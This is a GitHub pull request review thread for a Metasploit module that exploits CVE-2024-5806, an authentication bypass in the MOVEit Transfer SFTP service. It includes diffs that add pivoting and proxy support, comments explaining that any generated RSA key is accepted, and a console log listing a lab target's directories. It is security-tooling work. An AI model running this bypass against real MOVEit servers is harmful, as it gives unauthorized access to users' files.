-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add aux gather module for MOVEit Transfer SFTP auth bypass (CVE-2024-5806) #19295
Conversation
|
||
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get | ||
# back a valid SFTP session which we can interact with. | ||
::Net::SFTP.start( |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker; At some point I imagine we'll want to update this so it works through Metasploit's pivoting support, i.e. reusing comms via Meterpreter/socks proxies etc
Edit: An example being; we have a wrapper with patching net/ldap to support using Rex::Socket::Tcp and proxies support: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/ldap.rb#L175-L199 - we'll probably need something similar if net/sftp doesn't natively support reusing a sock via its initialise/start method
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great catch @adfoster-r7 thanks!, I'll poke through net/sftp and see if something like the above could work
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A quick review/test shows net/ssh
(which net/sftp
is built on top of) has an option called :proxy
that lets you specify a socket factory. So something like this will likely work as expected (I didn't test through a pivot, but it works as expected with no pivot).
diff --git a/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb b/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
index 8174613266..ca7d515522 100644
--- a/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
+++ b/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
@@ -64,7 +64,9 @@ class MetasploitModule < Msf::Auxiliary
transport = ::Net::SSH::Transport::Session.new(
datastore['RHOST'],
{
- port: datastore['RPORT']
+ port: datastore['RPORT'],
+ # Use self as a proxy for the net/ssh library, to allow use to use Metasploit's Rex sockets, which will honor pivots.
+ proxy: self
}
)
@@ -79,6 +81,20 @@ class MetasploitModule < Msf::Auxiliary
Msf::Exploit::CheckCode::Unknown('Connection Timeout')
end
+ # This method will be used by net/ssh when creating a new TCP socket.
+ def open(host, port, connection_options = nil)
+ vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")
+ Rex::Socket::Tcp.create(
+ 'PeerHost' => host,
+ 'PeerPort' => port,
+ 'Proxies' => datastore['Proxies'],
+ 'Context' => {
+ 'Msf' => framework,
+ 'MsfExploit' => self
+ }
+ )
+ end
+
def run
# We want to change the behaviour of the build_request method. So first we alias the original build_request
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.
@@ -103,7 +119,9 @@ class MetasploitModule < Msf::Auxiliary
auth_methods: ['publickey'],
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
# key (in PEM format) every time we exploit the vulnerability.
- key_data: [OpenSSL::PKey::RSA.new(2048).to_pem]
+ key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],
+ # Use self as a proxy for the net/ssh library, to allow use to use Metasploit's Rex sockets, which will honor pivots.
+ proxy: self
}
) do |sftp|
if File.directory? datastore['TARGETFILE']
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The module works great with the pivoting using a socks5 proxy. the portfwd and autoroute pivoting doesn't require to set the Proxies option and are transparent for the module.
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set Proxies socks5:127.0.0.1:9090
Proxies => socks5:127.0.0.1:9090
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
[*] Running module against 192.168.166.128
[*] Authenticating as: [email protected]:22
[*] Listing directory: /
dr-xr-xr-x 1 0 0 0 Jun 1 02:15 /Home/
dr-xr-xr-x 1 0 0 0 Jun 1 02:15 /Home/testuser1/
[*] Auxiliary module execution completed
The only thing I suggest is to introduce some controls to avoid the stack trace if the proxy is not working for some reason or when the target is down
--- Proxy is down
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set Proxies socks5:127.0.0.1:9091
Proxies => socks5:127.0.0.1:9091
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
[*] Running module against 192.168.166.128
[*] Authenticating as: [email protected]:22
[-] Auxiliary failed: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:9091).
[-] Call stack:
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:309:in `rescue in create_by_type'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:36:in `create'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket.rb:51:in `create_param'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:37:in `create_param'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:28:in `create'
[-] /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:64:in `open'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh/transport/session.rb:69:in `initialize'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `new'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `start'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-sftp-4.0.0/lib/net/sftp.rb:36:in `start'
[-] /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:112:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) >
--- Target is down
[*] Running module against 192.168.166.122
[*] Authenticating as: [email protected]:22
[-] Auxiliary failed: Rex::HostUnreachable The host (192.168.166.122:22) was unreachable.
[-] Call stack:
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:294:in `rescue in create_by_type'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:36:in `create'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket.rb:51:in `create_param'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:37:in `create_param'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:28:in `create'
[-] /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:64:in `open'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh/transport/session.rb:69:in `initialize'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `new'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `start'
[-] /usr/share/rvm/gems/ruby-3.1.5/gems/net-sftp-4.0.0/lib/net/sftp.rb:36:in `start'
[-] /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:112:in `run'
[*] Auxiliary module execution completed
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @dledda-r7, commit 8422b4c adds in the above support for Metasploit's pivots, and I also catch the exceptions you list above. This seems in-line with some other modules that are directly operating on sockets.
…remove the DefaultOptions, RPORT is covered and SSL does not make sense here.
…ew Rex::Socket::Tcp socket when creating the underlying SSH protocols socket.
modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: Diego Ledda <[email protected]>
…te the Gemfile.lock, as the library net/sftp was added for this auxiliary module
Commit ee960d2 updates the (a previous commit 493a45e updated the |
end | ||
end | ||
|
||
sftp.close(open_response[:handle]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do we need an ensure
block for this close
👀
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Or, just to confirm - is the close
needed at all? I would've assumed the block variation of open
would do automatic resource cleanup
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The net/sftp
documentation gives an example like this when using a block:
sftp.open("/path/to/file") do |response|
raise "fail!" unless response.ok?
sftp.close(response[:handle])
end
Looking at the implementation, yes you do need to explicitly call close
in a block.
Placing this call to close
in an ensure
block is probably good practice.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
end | ||
|
||
def recurse_dir(sftp, base_path) | ||
sftp.dir.foreach(base_path) do |entry| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I saw the net/sftp
library has a #glob
method that can run recursively. Maybe this could be used here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good catch @cdelafuente-r7 , I added commit e191697e191697 which uses glob
and its much nicer than the previous recurse_dir
implementation
end | ||
|
||
def read_file(sftp, file_path) | ||
sftp.open(file_path) do |open_response| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not familiar with net/sftp
, but according to the documentation, #open
without an exclamation mark is an asynchronous operation and it returns immediately. Since the module execution will probably terminate immediately after this, I'm wondering if this could cause any issue?
Maybe we could consider the synchronous version of this method #open!
.
I also noticed that some examples in the documentation call #loop
on the object returned by asynchronous methods.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup that makes allot of sense, thanks @cdelafuente-r7 , commit 4ca2ce3 changes the calls to open
, read
, and close
to be the sync versions (open!
, read!
, and close!
). I reviewed the glob
helper method, and that is implemented using synchronous calls so there is no need to change that.
if open_response.ok? | ||
file_size = sftp.fstat!(open_response[:handle]).size | ||
|
||
sftp.read(open_response[:handle], 0, file_size) do |read_response| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same question here, #read
will return immediately since it is asynchronous.
Some examples in the documentation call #wait
on the object returned by some asynchronous methods. Or maybe considering the synchronous read!
instead.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
else | ||
print_line(file_data) | ||
end | ||
|
||
else | ||
print_error('SFTP read failed.') | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you think we could avoid having long if/else block to increase readability? We usually prefer returning early and avoid too much nested blocks.
Something along these lines (untested):
sftp.open(file_path) do |open_response|
unless open_response.ok?
print_error('SFTP open failed. Is the TARGETFILE path correct?')
return
end
file_size = sftp.fstat!(open_response[:handle]).size
sftp.read(open_response[:handle], 0, file_size) do |read_response|
unless read_response.ok?
print_error('SFTP read failed.')
next
end
...
Note that maybe the #close
call would need to be added to an ensure
block at the end to make sure it is always called?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup, using your suggestion above, I reduced the nesting in read_file
by 2 levels via commit cb3966d
…ion. we probably dont *have* to do this (as teh SFTP session will be torn down either way), but it seems like best practise *to* so this.
…e not being waited on, so moving to the sync implmentations of these avoids that problem), thanks @cdelafuente-r7 :)
Release NotesThis module exploits an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The vulnerable versions are MOVEit Transfer 2023.0.x until 2023.0.11; MOVEit Transfer 2023.1.x until 2023.1.6; MOVEit Transfer 2024.0.x until 2024.0.2; allowing to list remote directories and reading files without authentication. |
Overview
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
following version are affected:
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
the contents of a directory, and the reading of an arbitrary file.
Read our AttackerKB Rapid7 Analysis for a full technical description of both the vulnerability and exploitation.
Note
net-sftp
to themetasploit-framework.gemspec
file. This library is required for exploitation. As is thenet-ssh
library, but we already import that Gem.net-sftp
is written by the same author asnet-ssh
and they both are under the same license.Example